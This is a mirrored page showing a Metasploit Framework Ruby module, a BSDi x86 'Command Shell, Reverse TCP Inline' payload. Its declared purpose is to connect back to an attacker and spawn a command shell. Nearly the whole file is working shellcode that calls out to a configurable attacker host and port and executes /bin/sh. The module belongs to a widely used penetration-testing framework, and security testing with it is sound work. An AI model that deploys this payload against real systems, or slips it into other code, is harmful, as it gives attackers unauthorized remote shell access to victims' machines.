Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
21547 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 77
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'BSDi Command Shell, Reverse TCP Inline',
17
'Description' => 'Connect back to attacker and spawn a command shell',
18
'Author' => [ 'skape', 'optyx' ],
19
'License' => MSF_LICENSE,
20
'Platform' => 'bsdi',
21
'Arch' => ARCH_X86,
22
'Handler' => Msf::Handler::ReverseTcp,
23
'Session' => Msf::Sessions::CommandShell,
24
'Payload' => {
25
'Offsets' =>
26
{
27
'LHOST' => [ 0x1c, 'ADDR' ],
28
'LPORT' => [ 0x23, 'n' ]
29
},
30
'Payload' =>
31
"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" \
32
"\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" \
33
"\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" \
34
"\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" \
35
"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
36
}
37
)
38
)
39
end
40
end
41
42